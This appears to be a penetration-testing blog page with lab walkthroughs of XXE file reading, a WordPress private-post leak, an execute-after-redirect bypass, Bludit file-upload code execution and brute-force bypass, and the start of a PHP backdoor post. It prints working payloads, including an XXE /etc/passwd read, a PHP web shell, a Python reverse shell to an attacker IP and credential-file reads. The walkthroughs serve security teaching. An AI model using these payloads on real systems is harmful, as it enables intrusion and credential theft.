Exploiting XML External Entities (XXE) in custom application

by Vry4n_ | Jun 25, 2023 | Web Exploitation

XXE vulnerabilities can be exploited by attackers to manipulate XML parsing functionality, potentially leading to unauthorized access, sensitive data exposure, or even remote code execution. This article aims to provide a comprehensive guide to understanding and exploiting XXE vulnerabilities, shedding light on the techniques employed by attackers and helping security professionals and developers bolster their defenses.

For more information visit our publication named XML external entity (XXE) injection

#1 Example: exploiting a custom XML web app

This application accepts users’ input, and processes them as XML. The application doesn’t have any security restrictions, so, it is vulnerable to XXE attacks

1. First step is to use the application normally, and, explore its functionality

http://10.10.11.100/log_submit.php

2. Entering data we see it provides some output, based on what we entered.

3. Now, we will try to capture the request using BurpSuite or any other web proxy you may have, I noticed the following

The application is calling /tracker_diRbPr00f314.php to send the data
The contents of the data variable seem to be URL encoded

4. The response doesn’t contain anything interesting other than the data we sent

5. Now we will try to use BurpSuite decoder module, to decode the data that has been sent in the Request

Encoded data

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U%2BQ1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M%2BCgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

Decoded data

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+

6. It looks the result is base64 encode, so now we will try to decode this output using Linux

echo ‘PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+’ | base64 -d

7. Now, we can see the output is XML, we can know try to run a simple XXE query to see if we get text printed on screen, so send the request to Repeater

Identification

1. Being able to repeat this request, we will proceed to modify the current data sent, now that it has been decoded, edit it and then encode it using base64

vi exploit.xml
cat exploit.xml
cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgIlZrOVNlY3VyaXR5Ij4KXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4meHhlOzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0PiAgICAK

2. Now proceed to use BurpSuite decoe module to encode this in URL format

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%49%6c%5a%72%4f%56%4e%6c%59%33%56%79%61%58%52%35%49%6a%34%4b%58%54%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%43%64%57%5a%6d%5a%58%49%67%54%33%5a%6c%63%6d%5a%73%62%33%63%38%4c%33%52%70%64%47%78%6c%50%67%6f%4a%43%54%78%6a%64%32%55%2b%51%31%5a%46%4c%54%49%77%4d%6a%4d%74%4d%44%41%77%4d%44%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6a%45%77%4c%6a%41%38%4c%32%4e%32%63%33%4d%2b%43%67%6b%4a%50%48%4a%6c%64%32%46%79%5a%44%34%6d%65%48%68%6c%4f%7a%77%76%63%6d%56%33%59%58%4a%6b%50%67%6f%4a%43%54%77%76%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%69%41%67%49%43%41%4b%0a

3. Now, we proceed to use this in our request instead of the original data, modify the data= variable data, our data in the external entity should be printed. (Vk9Security)

Exploitation

1. Now that we know we can run external entities, we can proceed to try to read a common file (/etc/passwd) using the file method

vi exploit.xml
cat exploit.xml
cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPkJ1ZmZlciBPdmVyZmxvdzwvdGl0bGU+CgkJPGN3ZT5DVkUtMjAyMy0wMDAwPC9jd2U+CgkJPGN2c3M+MTAuMDwvY3Zzcz4KCQk8cmV3YXJkPiZ4eGU7PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ICAgIAo=

2. Now URL encode this base64 string using burp suite decoder module

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%55%31%6c%54%56%45%56%4e%49%43%4a%6d%61%57%78%6c%4f%69%38%76%4c%32%56%30%59%79%39%77%59%58%4e%7a%64%32%51%69%50%67%70%64%50%67%6f%4a%43%54%78%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%6b%4a%50%48%52%70%64%47%78%6c%50%6b%4a%31%5a%6d%5a%6c%63%69%42%50%64%6d%56%79%5a%6d%78%76%64%7a%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%44%56%6b%55%74%4d%6a%41%79%4d%79%30%77%4d%44%41%77%50%43%39%6a%64%32%55%2b%43%67%6b%4a%50%47%4e%32%63%33%4d%2b%4d%54%41%75%4d%44%77%76%59%33%5a%7a%63%7a%34%4b%43%51%6b%38%63%6d%56%33%59%58%4a%6b%50%69%5a%34%65%47%55%37%50%43%39%79%5a%58%64%68%63%6d%51%2b%43%67%6b%4a%50%43%39%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%49%43%41%67%49%41%6f%3d%0a

3. Now use this special crafted encoded XML file in BurpSuite repeater, modifying the data= variable data

4. As you can see the contents of /etc/passwd are displayed on the response

Sources

https://github.com/payloadbox/xxe-injection-payload-list

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md

https://github.com/topics/xxe-injection

https://github.com/luisfontes19/xxexploiter

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xxe-xee-xml-external-entity.md

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md

(2019-17671)[information disclosure] WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts

by Vry4n_ | Jun 23, 2023 | CMS

WordPress could allow a remote attacker to obtain sensitive information, caused by improper handling of the static query property. By sending a specially-crafted HTTP request, an attacker could exploit this vulnerability to view private and draft posts.

Adding ?static=1 to a wordpress URL should leak its secret content.

However, there are a few ways to manipulate the returned entries:

order with asc or desc
orderby
m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format
…

In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc will show the secret content. This issue also discloses password protected and private posts

Affected Products

WordPress WordPress 5.2.3

Identify

1. We can get information about wordpress version from the web page

curl -X GET http://office.paper

2. You can run WPScan to identify the version

wpscan -e vp –url http://office.paper/

3. Inspecting the source code you can find the wordpress version

view-source:http://office.paper/

4. Searching around, I found an exploit for this particular version (https://www.exploit-db.com/exploits/47690)

Exploitation

1. So far we know that adding ?static=1 to a wordpress URL should leak its secret content.

Nomal request

http://office.paper/

After adding ?static=1

http://office.paper/?static=1

Remedy

Upgrade to the latest version of WordPress (5.2.4 or later), available from the WordPress Web site. See References.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/169497

https://blog.wpscan.com/wordpress-5-2-4-security-release-breakdown/

https://wpscan.com/vulnerability/9909

https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671

https://www.exploit-db.com/exploits/47690

Execution After Redirect (EAR)

by Vry4n_ | Apr 5, 2023 | Web Exploitation

The web application sends a redirect to another location, but instead of exiting, it executes additional code. This weakness could affect the control flow of the application and allow execution of untrusted code.

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

The PHP code checks if the user IP is allowed in $ipAllowList or not. If not, it will redirect them to the login page located at /login. But there’s no one telling the program to stop executing all the code after the redirect. So, all the code that should run only when a user has a valid session will also get executed. If we use a proxy tool such as BurpSuite or ZAP, we can modify the response of 302 Found redirect into a 200 OK response.

Exploitation

Consider a web application that has login functionality. Users who have an account can access content/features in this web application only by logging in. Unauthenticated users are redirected to the login page for them to first log in and get an authenticated session.

Send to repeater.
View response.

1. I ran a directory discovery using dirsearch and noticed a lot of redirects

2. I decided to access /accounts.php, and indeed got redirected to login.php

3. I decided to capture the request/response using a proxy (BurpSuite), send the request to Repeater and resend it.

Request

Response

Note: here we can see the HTTP code 302 redirection, in location we can see the redirection to login.php

4. In the same response we can see the code of accounts.php, instead of login.php

5. In order to bypass this in the browser, go to (Proxy – Proxy Settings – Match and replace rules), send traffic through the proxy

Type: Response header
Match: 30[12] Found #match either 301 or 302
Replace: 200 OK
Comment: VK9 redirection bypass
Check “Regex match”

6. Now that the redirection rule has been set to bypass 301-302 HTTP code, visit the page we’re trying to access /accounts.php

Remedy

Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

Sources

https://cwe.mitre.org/data/definitions/698.html

https://infosecwriteups.com/exploiting-execute-after-redirect-ear-vulnerability-in-htb-previse-92ea3f1dbf3d

https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR)#:~:text=Execution%20After%20Redirect%20(EAR)%20is,complete%20compromise%20of%20the%20application.

https://support.detectify.com/support/solutions/articles/48001048953-execution-after-redirect-ear-

https://martellosecurity.com/kb/mitre/cwe/698/

https://fireshellsecurity.team/execution-after-redirect/

Bludit 3.9.2 code execution – Path Traversal (Authenticated) (CVE-2019-16113)

by Vry4n_ | Apr 2, 2023 | CMS

Bludit could allow a remote authenticated attacker to execute arbitrary code on the system, caused by improper validation of file types. By uploading a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system with privileges of the application.

PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname.

Affected Products

Bludit Bludit 3.9.2

Detect

1. Being already authenticated as a log priviledge user, we can check the version of the platform by looking at the site source code page, in our case 3.9.2

2. You can also use curl to get the page source code, then filter by version

curl http://10.10.10.191/admin

Exploit

1. Knowing this version is vulnerable to CVE-2019-16113, we can try to upload an image, in the main page click on content, or, visit http://10.10.10.191/admin/new-content

2. Click on “Images”, choose the image and upload it

3. Click on “Insert”, and then save the post

3. Now try to locate the place where the image is located, you can search for the publication, right click the image and click on “Open Image”, it will take you to the location of the file, in this case:

http://10.10.10.191/bl-content/uploads/pages/1b9f41ad138ee8e237ba29b827e1048a/test-image.jpg

4. Now that we know how to locate the file, we can try to upload php code, do the same steps (1-3), but this time upload a file that has code

vi exploit.php
<?php echo “Follow us.” ?>

Note: we get a warning that only (gif, png, jpg, jpeg, svg) are permitted extensions. So, first we try to change the name of our file, second, we try to upload the file again.

mv exploit.php exploit.png

5. Now you can try to right click on that empty square, then click on image, to find the location of the file

6. If we try to view this image it will give us an error

http://10.10.10.191/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png

7. Now using BurpSuite we will try to upload again, and play with the HTTP request

8. We already know the path where the files are saved (/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png), so we can exploit the variable named “UUID”, to set the path were the file will be saved, we will send this request to BrupSuite Repeater

../../tmp
(ALTERNATIVE) ../../uploads

Note: this will, create the file and folder if necessary, in the response we need to have “Images Uploaded” with 200 OK Server response code

9. Now locate the file within the specified directory

http://10.10.10.191/bl-content/tmp/

10. Open the file, and the PHP code should be executed

http://10.10.10.191/bl-content/tmp/exploit.png

11. Now using the same request in BurpSuite repeater we can modify the code to execute, in this case I will set a system variable to execute code, I will change the filename also to exploi2.png

<?php echo shell_exec($_GET[‘cmd’]); ?>

12. Check the location again and find the new file

http://10.10.10.191/bl-content/tmp/

13. Open the file, in the URL use the cmd variable to execute code, we will first try whoami command

http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=whoami

14. Knowing we can now execute commands we can try to run a reverse shell, first start a listener in the local attacker machine

nc -lvp 4444

15. Now use python to execute the reverse shell connection

http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.6”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

16. Looking at the listener we should have a connection back

Extra

1. Having access to the server we can find users and passwords that can be used to further exploit, move your console to the root directory of the web application, in my case (/var/www/bludit-3.9.2)

cd /var/www/bludit-3.9.2
find . -name users.php 2> /dev/null

2. We can read those files and look for user evidence

cat ./bl-content/databases/users.php

Remedy

See vendor documentation, and upgrade to a recent version.

Resources

https://www.exploit-db.com/exploits/47699

https://packetstormsecurity.com/files/155295

https://github.com/ynots0ups/CVE-2019-16113

https://github.com/advisories/GHSA-ch69-hjrw-4hf3

https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html

Bludit 3.9.2 – Auth Bruteforce Bypass (CVE-2019-17240)

by Vry4n_ | Mar 30, 2023 | CMS

Bludit could allow a remote attacker to bypass security restrictions, caused by a flaw in the bl-kernel/security.class.php. By using many different forged X-Forwarded-For or Client-IP HTTP headers, an attacker could exploit this vulnerability to bypass a brute-force protection mechanism.

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Affected versions

Bludit 3.9.2

Detect

1. Access the Bludit main page

http://10.10.10.191/admin

2. Check the source code of the log in page, in the HTML header you can find the application version

Exploit (Script 1)

1. This script runs a list of passwords against a single user (you have to know the user.

git clone https://github.com/pingport80/CVE-2019-17240.git
cd CVE-2019-17240

2. Run the script enter the username and locate the password file, you can also set the number of threads to use. Once the script finds a match it will stop automatically

python3 brute.py -u http://10.10.10.191/admin/ -user fergus -w ../wordlist.txt -t 20

Remedy

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

Resources

https://github.com/bludit/bludit/pull/1090

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17240

https://www.exploit-db.com/exploits/48746

https://packetstormsecurity.com/files/158875

https://rastating.github.io/bludit-brute-force-mitigation-bypass/

https://github.com/pingport80/CVE-2019-17240

PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

by Vry4n_ | Feb 13, 2023 | Web Exploitation

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

Identification

1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response